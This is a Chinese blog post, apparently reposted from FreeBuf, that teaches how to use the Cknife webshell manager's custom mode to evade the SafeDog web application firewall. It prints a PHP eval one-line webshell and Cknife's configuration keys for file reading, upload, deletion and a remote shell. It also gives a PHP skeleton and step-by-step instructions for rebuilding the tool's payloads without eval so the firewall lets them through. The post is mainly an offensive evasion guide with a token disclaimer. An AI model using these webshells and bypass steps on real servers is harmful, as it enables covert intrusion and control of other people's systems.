linux 安全狗 乱码,打狗棒法之:Cknife(C刀)自定义模式秒过安全狗
免責聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
相關閱讀:
0x00 前言
很多朋友在使用Cknife時都誤以為她只是菜刀的跨平臺升級版,僅僅多了跨平臺的功能,其實小伙伴們還沒有用到精髓之處,她其實也是一款過WAF的利器。沒有給大家講解如何去使用它這是我的責任,我是一個有責任心的基佬,我會對大家負責的,于是有了下面的文章:
0x01 兩種方法
Cknife有兩種過WAF模式,一種為修改配置文件(Config.ini)過WAF,另外一種為Customize(自定義)模式過WAF。今天以自定義模式為例實例講解秒過安全狗,當然文章發布過后各大WAF廠商肯定會將某些特征列入黑名單,這里只是拋磚引玉提供思路。
0x02 ReadMe.txt
很多朋友在使用軟件的時候都很少會關注她,這里我附上它的有關于過WAF方面的一些內容,請大家仔細閱讀紅色部分。
[此處省略1W字]
使用說明:
服務端腳本支持ASP、ASPX、PHP、JSP、Customize(自定義)。
代碼包含且不限于如下代碼(只要能構造出類似eval的函數就行,比如PHP的create_function、assert等)
ASP:
ASP.NET:
PHP:<?php @eval($_POST['Cknife']);?>
JSP:
[代碼詳見1.jsp]
Customize:
自定義類型,功能代碼在服務端保存,理論上支持所有動態腳本,只要正確與C刀進行交互即可。此模式可按需定制,比如只要瀏覽目錄,或是只要虛擬終端功能,代碼可以很簡短。
過WAF:
這是一款跨平臺的基于配置文件的中國菜刀,把所有操作給予用戶來定義,主程序只是圖形的展示,以及數據的發送。
我分開了每一個步驟寫入到配置文件里面,用戶可以自定義任何代碼,包括更改參數名稱,參數內容。
比如:SKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel設置皮膚為nimbus
SPL=->|?????????????????????????????????????????????? 表示截取數據的開始符號
SPR=|
CODE=code????????????????????????????????????? 編碼參數
ACTION=action????????????????????????????????????? 動作參數
PARAM1=z1???????????????????????????????????? 參數1
PARAM2=z2???????????????????????????????????? 參數2
PHP_BASE64=1?????????????????????????????????????? 當為PHP時,Z1,Z2參數是否開啟自動base64加密,如果想定義自己的加密方式則關閉設置為0
PHP_MAKE=@eval(base64_decode($_POST[action]));生成方式,這里可以不用該方式,可以用你任何想要的方式
PHP_INDEX=...??????????????????????????????????? 顯示主頁功能的代碼放這兒
PHP_READDICT=...???????????????????????????????????? 讀取主頁功能的代碼放這兒
PHP_READFILE=...????????????????????????????????????? 讀取文件功能的代碼放這兒
PHP_DELETE=...??????????????????????????????????? 刪除文件夾以及文件功能的代碼放這兒
PHP_RENAME=...??????????????????????????????????? 重命名文件夾以及文件功能的代碼放這兒
PHP_NEWDICT=...??????????????????????????????????? 新建目錄功能的代碼放這兒
PHP_UPLOAD=...?????????????????????????? 上傳文件功能的代碼放這兒
PHP_DOWNLOAD=...??????????????????????????????????? 下載文件功能的代碼放這兒
PHP_SHELL=...?????????????????????????????????? 虛擬終端功能的代碼放這兒
PHP_DB_MYSQL=...?????????????????????????????????? 管理MYSQL數據庫功能的代碼放這兒
ASP_...=...
ASPX_...=...
JSP_...=...
除了修改以上參數過WAF外,程序還額外提供了一種Customize過WAF的模式。
Customize模式原本是用于支持一些程序默認不支持的腳本,比如CFM、ASMX、ASHX、PY等等,只要用戶自寫的腳本能正確與菜刀進行交互即可。
換一個思考方式,如果我們自寫一個PHP腳本實現了列文件以及目錄的功能,它能夠正確的與C刀進行交互,這個時候如果我們選擇PHP(Eval)的連接方式就會連接失敗。
應該選擇Customize模式進行連接。有人說為什么一句話就可以連接,你偏偏還要寫這么多代碼用Customize模式連接?如果一個很厲害的WAF檢測eval,assert等關鍵詞
,你的一句話實在是饒不過,這個時候你可以不用一句話,就在PHP腳本里用正常代碼實現列文件以及目錄,然后用Customize模式連接就達到了過WAF的目的。
Customize(自定義)模式跟其他模式一樣,每一個步驟也都寫入到配置文件里面,用戶同樣可以參數名稱以及參數內容。
比如你自寫了用Customize模式連接的Customize.php服務端。
顯示主頁功能提交的參數應該是:密碼=1&action=index以及密碼=1&action=readdict。
如果C刀普及以后WAF廠商肯定會把readdict列入黑名單,這個時候你就可以修改readdict的名稱為其他名稱,同樣可以修改action的名稱,也可以修改1為其他字符CUS_MAKE=1
CUS_INDEX=index
CUS_READDICT=readdict
CUS_READFILE=readfile
CUS_SAVEFILE=savefile
CUS_DELETE=delete
CUS_RENAME=rename
CUS_NEWDICT=newdict
CUS_UPLOAD=upload
CUS_DOWNLOAD=download
CUS_SHELL=shell
[此處省略1W字]
0×03 自定義模式過WAF原理
如果只是使用一句話,很多廠商都查殺了eval等敏感關鍵詞,也查殺了傳遞過程中數據包中的敏感關鍵詞。我們只需要正常的實現列目錄、讀文件等功能并且沒有包含eval等敏感關鍵詞就可以繞過WAF,即服務端不使用一句話,而是把功能代碼都放在服務端來執行,客戶端提交正常的數據包。
0x04 過狗準備
有的朋友說還要自己寫列目錄、讀文件等等這些功能啊,那肯定沒戲了。其實不需要自己寫,只需要復制粘貼修改即可。
你要有點編程基礎(不用擔心只要會if語句就行),然后按照我給的框架添加就行。以PHP為例:
框架如下:
$pwd= 'Cknife';??????? //密碼
if($_POST [$pwd] == 1) {
$act = $_POST ['action']; ??????? // action名稱
echo ("->|");??? //前分隔符
if ($act == 'index') {?????????? //顯示主頁功能
} else if ($act == 'readdict') { ? //讀取目錄功能
} else if ($act == …) ???????? //你想要實現的功能,可以從Config.ini里面解密出來使用
{
}
echo ("|
}
?>
首先打開咋們可愛的Config.ini文件,找到PHP_INDEX
它是C刀文件管理顯示主頁的功能,我們先把它解密,先url解密再base64解密
把解密結果放到eclipse里面,自動整理下(右鍵Source->Format)
去掉echo ("->|")前面的所有代碼,去掉echo ("|
然后就是找到PHP_READDICT解密,這里要注意解密出來z1參數前面有base64_decode函數,我們的自定義模式下傳遞方式是原文傳遞,不會自動base64加密,所以要去掉base64_decode函數
還是老規矩,去掉echo ("->|")前面的所有代碼,去掉echo ("|
最后按照前面的方式再加入讀取文件的功能,即PHP_READFILE
把代碼保存為test.php,然后選用自定義模式連接
測試發現并沒有攔截
我們嘗試下一句話連接,發現會被攔截
0x05 Chora小伙伴的PHP自定義模式過狗代碼
見下載地址?密碼:f65g ? ? cus.php
0x05 MelodyZX小伙伴的ASP自定義模式過狗代碼
見下載地址?密碼:f65g ? ? ?cus.asp
0x06 總結
參數名稱,參數內容都可以修改,哪怕是廠商把readdict列入黑名單,你同樣可以在Config.ini里面修改成其他的名稱。讓我想起了周星馳破壞之王里的一句話:“我不是針對誰,我是說在座的各位都是垃圾”。無敵是多么的寂寞。
*本文由Chora撰寫并投稿,本文屬FreeBuf原創獎勵計劃文章,未經許可禁止轉載
總結
以上是生活随笔為你收集整理的linux 安全狗 乱码,打狗棒法之:Cknife(C刀)自定义模式秒过安全狗的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: objective-c(初始化)
- 下一篇: Jass 技能模型定义(转)